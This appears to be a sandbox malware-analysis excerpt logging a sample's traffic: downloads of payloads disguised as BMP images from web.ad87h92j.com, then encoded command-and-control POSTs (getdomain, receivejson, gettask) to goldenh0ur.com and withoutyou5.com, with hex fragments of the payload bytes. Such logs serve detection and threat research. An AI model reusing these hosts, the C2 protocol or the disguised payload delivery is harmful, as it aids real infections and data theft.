Sep 14, 2024 18:44:25.310853004 CEST	1236	IN	Data Raw: 47 3a af 19 f8 be 94 c9 01 10 c9 c9 a5 8d d1 90 fa ff 93 23 8a 47 6d 2b 3a c3 19 94 be 04 ca 6d 10 a5 0a c9 a4 8d d1 90 fa ff 93 23 8a 47 6d 2b 3a c3 19 94 be 0c ca 6d 10 a5 0a c9 a4 8d d1 90 fa ff 93 23 8a 47 6d 2b 3a c3 19 94 be 14 ca 6d 10 a5 Data Ascii: G:#Gm+:m#Gm+:m#Gm+:m#Gm+:<m\|<<l9S<S5?Tl)M\/uedtCno\|Se\/ntro\?sL
Sep 14, 2024 18:44:25.310868979 CEST	1236	IN	Data Raw: 33 db 3f 06 02 89 e9 a0 fd ff 93 93 15 50 ec 6d 10 68 40 6e 00 00 e7 94 8d 85 bc 91 ff ff 3f 3c e8 a5 d8 6c 00 83 a8 60 8d 85 bc 91 ff ff 3c 3b c7 85 bc 91 ff ff 40 6e 00 00 93 79 40 80 6d 7c eb 25 93 d9 cc fd 93 93 8d 85 98 91 ff ff 3c 93 15 4c Data Ascii: 3?Pmh@n?<l`<;@ny@m\|%<Lm<Wy$\|u;8!_37ll9pln3E)\|@)3<Pj\|U9R<=EmlEhlym\|M_5UT\|_)SV;phm
Sep 14, 2024 18:44:25.310887098 CEST	1236	IN	Data Raw: c0 74 60 e1 45 f4 3c e7 cf e8 c4 97 ff ff 35 e7 7d cc e1 29 f4 50 04 ac a6 01 7c 3f ff d6 e9 ac 74 0c e1 29 f4 50 e7 a3 e8 89 97 93 ff 59 e7 11 cc 8d 29 98 50 68 b8 ca 01 10 3f 93 d6 85 ac 18 0c 8d 29 98 50 8b a3 84 6a fb 93 93 59 8b 11 a0 8d 45 Data Ascii: t`E<5})P\|?t)PY)Ph?)PjYE<hmS`E<'5}E<m\|St`E<@5})PH\|?t)PY)Ph,?)PYE<h`mS`E<5}E<tm
Sep 14, 2024 18:44:25.310950994 CEST	1236	IN	Data Raw: 74 0c e1 29 f4 50 e7 a3 e8 d5 9a 93 ff 59 e7 11 cc 8d 29 98 50 68 10 ca 01 10 3f 93 d6 85 ac 18 0c 8d 29 98 50 8b a3 84 b6 f6 93 93 59 8b 11 a0 8d 45 98 3c 68 94 ca 6d 10 53 93 ba 85 c0 18 60 8d 45 98 3c 8b cf 84 fb f6 ff 93 35 8b 7d a0 e1 45 f4 Data Ascii: t)PY)Ph?)PYE<hmS`E<5}E<m\|St`E<5})P\|?t)PYY)Ph?)P:YE<hmS`E<w5}E<m\|St`E<5})PH\|
Sep 14, 2024 18:44:25.311001062 CEST	1236	IN	Data Raw: bd fe 93 93 53 50 e4 f1 bc fe 93 93 e8 3d ca 6c 00 8b 19 64 8d 85 d0 92 ff ff ef a8 0c 2b aa e6 0e 88 60 5c 46 3a a7 19 f6 33 ac 04 fc 01 6c 6c 66 89 e9 d0 fc ff 93 e1 85 be 90 93 ff 53 3c 84 0a a6 6c 6c 68 ff 6c 6c 00 8d e9 d0 fe ff 93 3c 8d 85 Data Ascii: SP=ld+`\F:3llfS<llhll<<ll5<PEkl;d3\|=P>@M_hm)WiEw (Een)d )Uqf)ta1f<D
Sep 14, 2024 18:44:25.315738916 CEST	1236	IN	Data Raw: ff ff 84 58 8d 00 6c 35 e9 6a 93 93 ff 83 11 60 01 8b e9 88 e7 ff 93 10 0d 8b e1 b0 e7 ff 93 e5 01 3b 29 60 75 d6 ef 11 14 03 63 e9 f7 00 6c 6c 83 c0 a6 3c 89 85 9c 8b ff ff 84 95 7e 00 6c 93 b5 f0 8b 93 ff 8b 94 e7 85 e8 8b 93 ff 83 ac 5a 50 57 Data Ascii: Xl5j`;)`ucll<~lZPWl~ll;p_9$39x:\|@\|`A;cMP,VuGjr6+>oS=`H\|@:+<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	54891	188.114.96.3	80	6192	C:\Users\user\Desktop\3Kel6xErOk.exe

Timestamp	Bytes transferred	Direction	Data
Sep 14, 2024 18:44:25.737956047 CEST	120	OUT	HEAD /4/text.bmp HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: web.ad87h92j.com
Sep 14, 2024 18:44:26.208125114 CEST	690	IN	HTTP/1.1 200 OK Date: Sat, 14 Sep 2024 16:44:26 GMT Content-Type: image/bmp Content-Length: 6443425 Connection: keep-alive Last-Modified: Thu, 08 Aug 2024 15:32:21 GMT ETag: "607df428a8e9da1:0" Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 491 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sxpRrVg2oqLBI%2B7ZKXfZSMXaOJceu2%2FuCb8K1bSmtQhLspIhYNO0k9hTT3s5Tfxn7PxxSrZF0QQuhvgP0m6NJucEI0AFPw6gfPT1y8I%2B724n9Tsb3hKloJ4HgJuovB0nVGwj"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c31d7775c204392-EWR alt-svc: h3=":443"; ma=86400
Sep 14, 2024 18:44:26.210872889 CEST	119	OUT	GET /4/text.bmp HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: web.ad87h92j.com
Sep 14, 2024 18:44:26.314151049 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 14 Sep 2024 16:44:26 GMT Content-Type: image/bmp Content-Length: 6443425 Connection: keep-alive Last-Modified: Thu, 08 Aug 2024 15:32:21 GMT ETag: "607df428a8e9da1:0" Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 491 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dVddds%2BuvV7Ow28fCKNDH3nl5iQpMgQ2O%2F5OmzHKkIcpg1MtuX1C%2F0e0StAabSmGdvrDZNAReAY5Z25qVxflW9%2BKgt5X8nIo8eGcDFCPw16MYle2jI%2BW%2F4TuphDNF%2BFvrd7r"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c31d7782cdb4392-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 50 4b 03 04 14 00 00 00 00 00 52 09 02 59 00 00 00 00 00 00 00 00 00 00 00 00 05 00 11 00 74 65 78 74 2f 55 54 0d 00 07 f1 31 ac 66 f1 31 ac 66 f1 31 ac 66 50 4b 03 04 14 00 09 00 08 00 ae 88 37 58 00 00 00 00 00 00 00 00 78 a9 06 00 11 00 11 00 74 65 78 74 2f 4d 53 56 43 50 31 34 30 2e 64 6c 6c 55 54 0d 00 07 d3 f1 af 65 6a c1 ab 66 32 4d 82 66 87 7a eb 30 49 5c 70 71 cf 9f 0b 7f 37 1a ef fe ec 4e 99 14 e9 79 0c eb 41 b9 e8 f1 0c 4c 80 3a 7f 76 93 46 46 e8 65 7d bc 46 e7 22 b0 cc d0 5f 0c fe e5 9a c6 07 68 49 cf 67 8c de f1 91 0a 4d 5f 96 fa d9 d6 82 da 5d 83 1e 78 91 03 68 d0 5c f3 7f be 92 78 68 7f 9b 82 3d 58 0a 03 a3 ca 52 a9 20 ad ce 0c 1c 17 57 32 4f 23 2d bd 75 0e cf 2d 73 5a f1 a5 25 a2 53 54 c7 df 3d 96 7b f5 d6 b7 e4 a5 b1 33 57 3e 91 c8 b1 9f 68 0b 2f d7 28 a9 80 e2 6e 4c cc 82 c2 26 fe 2b 7e ce 5e 42 59 1b b0 3c 97 03 3a bf 54 e9 ce 6b d0 11 f6 8c a1 96 6a 71 dd 5b a0 e2 f0 6e 1c 54 d9 8d e7 7b 68 d7 cb 0f 8d a0 bc 2f 63 1e dc b5 69 41 6a 0d fd 2b c8 88 9c 7c 92 ea 7c bc 78 5c b1 3a 4c [TRUNCATED] Data Ascii: PKRYtext/UT1f1f1fPK7Xxtext/MSVCP140.dllUTejf2Mfz0I\pq7NyAL:vFFe}F"_hIgM_]xh\xh=XR W2O#-u-sZ%ST={3W>h/(nL&+~^BY<:Tkjq[nT{h/ciAj+\|\|x\:LSC@rMu`%fJK]^;$)(H$W1;c9;fLFh!=\|z<2A <=T(t-jK<z>Uu>a"-,7\Qk'#PG[H;}h}ix!sVN8G&_#]J_
Sep 14, 2024 18:44:26.314184904 CEST	224	IN	Data Raw: 67 5d 15 a9 47 b3 f4 9d ca 98 2c 66 e6 52 4a 96 de f4 55 2f 87 04 f5 77 df 64 b2 b2 cf 7f db 8e e0 a3 c6 bc f2 d8 76 d0 2d a3 8a 92 84 92 1d 04 c3 21 d5 41 3d 5c 5c 55 6e db e0 06 fc 85 66 0c f1 90 1a 88 35 63 60 37 93 5b 01 d5 74 bb 3a a9 99 4a Data Ascii: g]G,fRJU/wdv-!A=\\Unf5c`7[t:J1/HV%6IIBej">($\|:Wb.wAxBMX}bpk055^%wC ua}:?u!j[0;!BidiF2
Sep 14, 2024 18:44:26.314202070 CEST	1236	IN	Data Raw: 54 00 7f 32 b2 96 f6 0e fc 6d 89 f2 67 43 07 7d d5 52 2e 0e 0d ed 8f 32 d2 4a 1b cd b4 b5 37 d9 4a 24 75 29 d9 ee e6 23 6f 6f e3 44 44 8b ce 07 24 f8 f2 50 1b 4f 54 7a 79 fa 44 c4 46 93 d7 53 35 9d 29 69 02 2a e2 2a 02 89 0c a6 b9 41 5c 0d 00 1a Data Ascii: T2mgC}R.2J7J$u)#ooDD$POTzyDFS5)i*A\]tP4R;O_kF@1ja"<VmjeIlO\|sl"JXl8CxqR"eyt`6o8!E#uAS/VhqQ*4JN^;Qv3G
Sep 14, 2024 18:44:26.314218044 CEST	1236	IN	Data Raw: 4c 02 2b 69 76 13 e2 20 d4 db fd 27 d4 84 01 d4 00 4d e8 b3 f0 50 21 48 b5 0a 28 c7 46 8b ae d9 07 32 a8 95 ce 7b 4b e8 06 9d 24 07 6a d5 36 41 82 de d6 ce 75 57 6c 73 11 5d ec 81 67 ca 2e 53 f9 60 04 06 9e bf 7f 9d e3 ea b1 c8 ed 58 22 4c c8 0b Data Ascii: L+iv 'MP!H(F2{K$j6AuWls]g.S`X"LGlmTS%+5yB#\z3$cWCN0Kw3PmlZbM"o5qW-e $q89l*Nd]lFh0}Z^CTa2JoC
Sep 14, 2024 18:44:26.314234018 CEST	1236	IN	Data Raw: 86 4f a8 fd 2c 33 bb e6 24 54 bb 32 04 7c d0 79 f7 c4 a6 e6 0a 67 24 cb 26 85 8b 19 fb f6 27 29 a1 b3 81 56 ce 2a 77 e4 9c c7 bc f0 fc 32 15 9a 63 0f d6 5c a2 59 20 a1 c3 c6 76 dd 2c b9 bd c8 3c a7 ec 3d 0c b4 40 46 db 6e cb 09 a4 da b3 1f 63 d8 Data Ascii: O,3$T2\|yg$&')V*w2c\Y v,<=@Fnc77d25$hi%69\|w,1a!qo,0Ek+zNz@.:(c+pf6f@0&"Ky>T0GbRcw-
Sep 14, 2024 18:44:26.314248085 CEST	672	IN	Data Raw: 19 35 47 fa be 77 ee 45 e5 8a 8b a8 16 f6 c2 6b ef 04 f2 34 af 0b 2a b9 4a d5 75 76 38 b5 f4 5a fa e2 a2 c8 98 23 59 29 d6 16 83 15 7c e8 af d0 50 1c 7c 25 c2 d6 42 86 58 c8 c0 81 da 15 d5 a8 ea e4 78 9a 23 ca 4c ae b3 51 21 88 5a 5e 2a 86 cc bc Data Ascii: 5GwEk4Juv8Z#Y)\|P\|%BXx#LQ!Z^WKCB!"x6G-U<3lq>{ Ou/5CLj>h4(W]t{8,4yBP#Kl ~)i~Nv0I4HX"A#c-fhoeB2?y3s
Sep 14, 2024 18:44:26.314263105 CEST	1236	IN	Data Raw: 32 7f 24 42 d1 dd ed 5d dc 21 65 9b 89 0b 4c 01 7d 14 ab b4 0b c2 8b 8e 62 8e 71 e9 30 fc f4 72 05 b4 62 f0 15 14 00 68 38 38 ef 36 16 a8 17 51 26 8a 9e 71 33 a1 ff 2e de e0 36 f3 bc e1 40 ab d5 25 1f 17 dd 6d ab 44 f0 81 62 87 93 14 b8 af bf 23 Data Ascii: 2$B]!eL}bq0rbh886Q&q3.6@%mDb#SJyQE&K*eGV&EM%np}~P{1`5%Cf;"eY^mZp#`KG+c#]h]Ti=]>l!?,vE-
Sep 14, 2024 18:44:26.314311028 CEST	1236	IN	Data Raw: 3f b5 07 ef 4e 0d 71 9f 8b 13 82 d6 09 9b e8 0d 1c 36 b0 b3 bf 86 a8 8f 53 12 d1 89 5f 8b a5 c9 93 43 94 84 71 50 60 c4 e8 0e ae f3 aa fa cd 8a 8a 09 5b f4 9b 7a 92 8c d3 2d 9b a1 10 6d 78 53 5e 3b 1e a6 0e 62 52 70 02 1d 6a 7e 9c 2b 4d 9d ee 50 Data Ascii: ?Nq6S_CqP`[z-mxS^;bRpj~+MPe\4^;a1nC_!p]BJ"I0$^#iszT?E 0$'#}vwD9AEQ;R"?UwoX9f5 X v`@0
Sep 14, 2024 18:44:26.314327955 CEST	1236	IN	Data Raw: f6 99 e7 36 16 e8 8d ba 64 c0 eb e4 53 b2 b2 f1 6b 5b 49 9d 33 66 5b e4 db 1d 4d 5b 4b 6a 97 83 54 f3 2f 63 9e c4 b2 b1 b5 08 9d 06 8b 1b 20 66 90 2a c4 28 74 d9 4a de 7e b1 d2 6d 08 95 75 69 9d 73 79 1d 9b db c0 4c f3 1b 76 a0 68 81 f7 11 ff fe Data Ascii: 6dSk[I3f[M[KjT/c f*(tJ~muisyLvhG03Lw9XmcYOE5M +/+62gb}bs6OykwboP'&xcWKLY1?@$bdJMRzG=w8ahL'
Sep 14, 2024 18:44:26.314342976 CEST	104	IN	Data Raw: e0 dd 39 20 09 f7 01 f2 ca 81 ad dc 8e 42 8e f0 5f 07 45 60 ca d1 a0 0e 8c fa 49 bd 82 d9 af f9 a1 2f e7 9b 2a 68 d2 93 c5 77 f5 c1 4a a3 50 bb ef b6 05 9b f3 78 bd b1 dc c7 77 e7 e5 fd 7c 33 30 1e 05 97 c2 49 a7 b5 27 82 43 3f f1 6f 4b fc 68 da Data Ascii: 9 B_E`I/*hwJPxw\|30I'C?oKhZ71Ac>6u;
Sep 14, 2024 18:44:26.314738035 CEST	1236	IN	Data Raw: 73 82 97 6f a3 fd c6 87 b2 ce c3 17 a1 77 20 29 8b 13 4a 43 f7 03 9f d0 55 53 ba 21 59 69 5d 13 b4 ab 75 2c 04 30 d9 f6 83 11 39 53 29 5f e4 72 ba e2 ab ce f7 3d 90 d3 6e 24 66 cc 4c ce c3 e5 ec 34 02 35 76 cd 9e 7d d8 fe 25 09 64 6d 4e 04 c1 43 Data Ascii: sow )JCUS!Yi]u,09S)_r=n$fL45v}%dmNCeS6:(=%$R3f^8\`x!(y"@IeB,DnBQ?DunCW<Tl(~/xR@R\HqQW\|\|aKP-W59{cLDyBXeL1A
Sep 14, 2024 18:44:31.973000050 CEST	117	OUT	HEAD /4/d.bmp HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: web.ad87h92j.com
Sep 14, 2024 18:44:32.075917006 CEST	698	IN	HTTP/1.1 200 OK Date: Sat, 14 Sep 2024 16:44:32 GMT Content-Type: image/bmp Content-Length: 1236598 Connection: keep-alive Last-Modified: Sat, 10 Aug 2024 07:20:10 GMT ETag: "80fe2fbcf5eada1:0" Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 490 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=t%2F%2FSAvC9z6BcKogNea6Q%2Bip0SJWmovpH6XxjEXXPo%2FC%2FgcR6y%2B7GEzUkQ5AEuX5%2BJ2MWWkiWsGqfAnEPVgVjL59rFeJxw3pEhU0CdKWlidRR11wGEu9RPlIZI155OLuOimrS"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c31d79c28114392-EWR alt-svc: h3=":443"; ma=86400
Sep 14, 2024 18:44:32.078774929 CEST	116	OUT	GET /4/d.bmp HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: web.ad87h92j.com
Sep 14, 2024 18:44:32.180969000 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 14 Sep 2024 16:44:32 GMT Content-Type: image/bmp Content-Length: 1236598 Connection: keep-alive Last-Modified: Sat, 10 Aug 2024 07:20:10 GMT ETag: "80fe2fbcf5eada1:0" Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 490 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qyqWx9nbWFh9Sy1oyV3b4duJWupyIy99z10bT%2BNUb42la5%2FgM7GVEK2wbvWaYYRPRxmPSXd6OprZHB7XYSBnmPReRCQukRJwC8TjGi%2FeroZW0oKUGo6Bt%2BSzb%2FhMnYHyYIUT"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c31d79cc8a54392-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 42 4d 76 de 12 00 00 00 00 00 36 00 00 00 28 00 00 00 2c 02 00 00 2c 02 00 00 01 00 20 00 00 00 00 00 40 de 12 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2a 52 90 00 64 08 00 00 63 08 00 00 98 f7 00 00 df 08 00 00 67 08 00 00 27 08 00 00 67 08 00 00 67 08 00 00 67 08 00 00 67 08 00 00 67 08 00 00 67 08 00 00 67 08 00 00 67 08 00 00 97 08 00 00 69 17 ba 0e 67 bc 09 cd 46 b0 01 4c aa 29 54 68 0e 7b 20 70 15 67 67 72 06 65 20 63 06 66 6e 6f 13 28 62 65 47 7a 75 6e 47 61 6e 20 23 47 53 20 0a 67 64 65 49 05 0d 0a 43 08 00 00 67 08 00 00 9a 88 c4 41 de e9 aa 12 de e9 aa 12 de e9 aa 12 b1 9f 34 12 ea e9 aa 12 b1 9f 00 12 46 e9 aa 12 b1 9f 01 12 f1 e9 aa 12 d7 91 29 12 dd e9 aa 12 d7 91 39 12 cf e9 aa 12 de e9 ab 12 04 e9 aa 12 b1 9f 05 12 ff e9 aa 12 b1 9f 31 12 df e9 aa 12 b1 9f 30 12 df e9 aa 12 b1 9f 37 12 df e9 aa 12 35 61 63 68 de e9 aa 12 67 08 00 00 67 08 00 00 37 4d 00 00 2b 09 05 00 52 1c b7 66 67 08 00 00 67 08 00 00 87 08 02 21 6c 09 0a 00 67 b6 0a 00 67 38 09 00 67 08 00 00 43 55 08 00 [TRUNCATED] Data Ascii: BMv6(,, @*Rdcg'ggggggggigFL)Th{ pggre cfno(beGzunGan #GS gdeICgA4F)91075achgg7M+Rfgg!lgg8gCUgggggbgbgg8gge@gggggwA>g8?gggggHgggggggg? 'ggggggggg
Sep 14, 2024 18:44:34.050148010 CEST	117	OUT	HEAD /4/t.bmp HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: web.ad87h92j.com
Sep 14, 2024 18:44:34.171420097 CEST	687	IN	HTTP/1.1 200 OK Date: Sat, 14 Sep 2024 16:44:34 GMT Content-Type: image/bmp Content-Length: 569918 Connection: keep-alive Last-Modified: Thu, 08 Aug 2024 15:32:42 GMT ETag: "20368335a8e9da1:0" Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 489 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7y93SAHhngyMCe1zTj6O9mfglglXf7aPX8GcmPt%2BwbkHNxnaF7LFd43Oi8vH9TCeM2LQFfr6ir36YlisqGGjajX30GAwH4GgOitGJp7%2B2y0MeP1Hyth4CyhyqnL0NfxmAqcY"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c31d7a92e8c4392-EWR alt-svc: h3=":443"; ma=86400
Sep 14, 2024 18:44:34.171969891 CEST	116	OUT	GET /4/t.bmp HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: web.ad87h92j.com
Sep 14, 2024 18:44:34.286669970 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 14 Sep 2024 16:44:34 GMT Content-Type: image/bmp Content-Length: 569918 Connection: keep-alive Last-Modified: Thu, 08 Aug 2024 15:32:42 GMT ETag: "20368335a8e9da1:0" Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 489 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qWlkpOeiQK8OtdVrsz4vomw1Z2VDLKamfNW3xZwpHAq63jwD6KcKkGAEaXLkjHOm0f8%2FPP1EKr%2FUKWEvtuczzhKNM9%2BWwKtJji7YxxT68nKCkDW6N2aH7BGDI7ElEh0FAn9n"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c31d7a9ef444392-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 42 4d de b2 08 00 00 00 00 00 36 00 00 00 28 00 00 00 7a 01 00 00 79 01 00 00 01 00 20 00 00 00 00 00 a8 b2 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8f 08 00 00 67 50 55 89 82 81 c2 05 98 03 00 00 e6 ca ff b1 6f 08 68 05 67 08 00 68 63 08 00 00 35 60 ab 74 8d 51 50 e8 62 08 00 00 e4 cc 14 c9 a4 89 ec 14 66 08 00 53 32 5e 57 6a 0c 50 6a 65 01 81 84 24 ab 08 00 00 54 e5 58 6a 15 51 6a 6e 3c 62 6c 5a 0d 3b 66 89 e3 2c ce 00 67 08 66 89 e3 2c d4 00 67 08 58 6a 55 6e 89 84 43 d0 00 00 67 50 6a 2e 01 81 84 24 bd 08 00 00 3f 62 64 66 ee 8c 24 dc 67 08 00 58 ee a4 24 b0 67 08 00 89 0b 2c 34 89 cb 2c b8 00 67 08 89 ac 43 cc 00 00 67 81 ac 24 d3 08 00 00 ee a4 24 ac 67 08 00 89 cb 2c e0 00 67 08 66 89 eb 2c cc 00 67 08 66 89 fb 2c ce 00 67 08 66 89 f3 2c d2 00 67 08 66 89 e3 2c da 00 67 08 66 89 f3 2c dc 00 67 08 66 89 f3 2c de 00 67 08 c6 44 43 34 53 88 33 2c 3d 66 a0 4c 24 3e 02 6d c6 44 43 48 70 66 a0 4c 24 50 2b 67 c6 44 43 5a 61 88 23 2c 53 66 a0 4c 24 54 2b 61 c6 44 43 5e 62 88 2b 2c 57 c6 [TRUNCATED] Data Ascii: BM6(zy gPUohghc5`tQPbfS2^WjPje$TXjQjn<blZ;f,gf,gXjUnCgPj.$?bdf$gX$g,4,gCg$$g,gf,gf,gf,gf,gf,gf,gDC4S3,=fL$>mDCHpfL$P+gDCZa#,SfL$T+aDC^b+,W#,XaD$YD$=qAfL$D1aLCNf#,GtD$.iTCBDCCA3,L3,MfL$Nkf#,\VL$9nDCWtuL$aT$D$XLClDCmotkDCat,gF,gCg}sh.$$\|Cg$kti$gomY,gLCeLC\|LCqCg

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	54892	172.67.222.6	443	7548	C:\Program Files (x86)\pR4cysw\lte7inN.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-14 16:44:58 UTC	281	OUT	POST /api.php/common/getdomain HTTP/1.1 Connection: Keep-Alive Content-Type: application/json User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.75 Safari/537.36 Content-Length: 18 Host: caces.goldenh0ur.com
2024-09-14 16:44:58 UTC	18	OUT	Data Raw: 41 30 54 78 5a 6b 57 31 39 56 57 68 59 4f 43 55 30 3d Data Ascii: A0TxZkW19VWhYOCU0=
2024-09-14 16:44:59 UTC	738	IN	HTTP/1.1 200 OK Date: Sat, 14 Sep 2024 16:44:59 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept, Authorization CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=F2LKwlA91iv5lVZHsD55fE7G%2Bws305EgYjnAev8rhqntSewqAXn01L3d%2BBM4f0%2FfnuOukGpngP04tPuRbBHqlEVPeoOsxRH%2BiVzzOxKBvvKHYS29UsjfgzOC4nocM%2FmaDDyxG%2F5k1A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c31d844da90428f-EWR alt-svc: h3=":443"; ma=86400
2024-09-14 16:44:59 UTC	48	IN	Data Raw: 32 61 0d 0a 7b 22 54 6f 6b 65 6e 22 3a 31 2c 22 44 6f 6d 61 69 6e 22 3a 22 6d 76 63 2e 77 69 74 68 6f 75 74 79 6f 75 35 2e 63 6f 6d 22 7d 0d 0a Data Ascii: 2a{"Token":1,"Domain":"mvc.withoutyou5.com"}
2024-09-14 16:44:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	54893	172.67.72.137	443	7548	C:\Program Files (x86)\pR4cysw\lte7inN.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-14 16:45:00 UTC	283	OUT	POST /api.php/common/receivejson HTTP/1.1 Connection: Keep-Alive Content-Type: application/json User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.75 Safari/537.36 Content-Length: 486 Host: mvc.withoutyou5.com
2024-09-14 16:45:00 UTC	486	OUT	Data Raw: 41 30 54 78 5a 6b 57 31 39 56 57 68 59 4f 42 67 67 49 48 42 5a 38 57 31 64 5a 58 49 46 6f 46 67 34 57 43 52 45 47 47 67 6b 43 45 42 6f 47 47 67 4d 57 48 42 61 41 57 30 64 45 65 6c 6c 64 56 52 59 4f 46 68 45 43 42 52 45 43 45 52 59 63 46 6e 74 6e 67 56 70 53 57 78 59 4f 46 68 35 39 59 56 64 47 57 30 64 62 55 6b 51 59 59 32 46 61 56 46 74 44 52 78 67 4a 43 42 68 6f 52 6c 73 43 42 42 31 57 59 55 52 51 41 67 51 57 48 42 5a 48 57 31 4a 45 51 31 6c 47 56 52 59 4f 46 6d 4e 68 57 6c 52 62 51 30 63 59 64 46 56 53 56 56 70 55 56 55 59 57 48 42 5a 58 53 45 56 72 58 57 42 4f 46 67 34 57 67 56 70 45 56 56 77 67 5a 69 45 59 64 31 74 47 56 53 42 6b 66 53 45 47 47 48 64 6f 5a 52 67 43 41 67 67 49 47 48 67 59 42 68 6f 45 43 42 68 7a 67 45 34 57 48 42 5a 5a 56 30 52 68 51 Data Ascii: A0TxZkW19VWhYOBggIHBZ8W1dZXIFoFg4WCREGGgkCEBoGGgMWHBaAW0dEelldVRYOFhECBRECERYcFntngVpSWxYOFh59YVdGW0dbUkQYY2FaVFtDRxgJCBhoRlsCBB1WYURQAgQWHBZHW1JEQ1lGVRYOFmNhWlRbQ0cYdFVSVVpUVUYWHBZXSEVrXWBOFg4WgVpEVVwgZiEYd1tGVSBkfSEGGHdoZRgCAggIGHgYBhoECBhzgE4WHBZZV0RhQ
2024-09-14 16:45:01 UTC	730	IN	HTTP/1.1 200 OK Date: Sat, 14 Sep 2024 16:45:01 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept, Authorization CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jU%2FmLpLdLXPVtlkZKcccw%2BoGwvpx3t%2Fv%2B5aMjJgUyo2sIuuqwTXWCd8x%2BT%2Bj54VjpbHvRscM0c3mP3qv5MYymxDZsZKRb5IwqJivkWEtmVzO5AruLCLxyWy8mSgyZb1wZEL7Re0g"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c31d84e5e184373-EWR alt-svc: h3=":443"; ma=86400
2024-09-14 16:45:01 UTC	56	IN	Data Raw: 33 32 0d 0a 7b 22 54 6f 6b 65 6e 22 3a 35 2c 22 6d 65 73 73 61 67 65 22 3a 22 73 61 30 71 38 64 6c 63 32 74 6a 75 70 38 73 34 68 32 74 62 31 71 6a 6c 6b 75 22 7d 0d 0a Data Ascii: 32{"Token":5,"message":"sa0q8dlc2tjup8s4h2tb1qjlku"}
2024-09-14 16:45:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	54894	172.67.72.137	443	7548	C:\Program Files (x86)\pR4cysw\lte7inN.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-14 16:45:01 UTC	311	OUT	POST /api.php/common/gettask HTTP/1.1 Connection: Keep-Alive Content-Type: application/json User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.75 Safari/537.36 MAC: sa0q8dlc2tjup8s4h2tb1qjlku Content-Length: 38 Host: mvc.withoutyou5.com
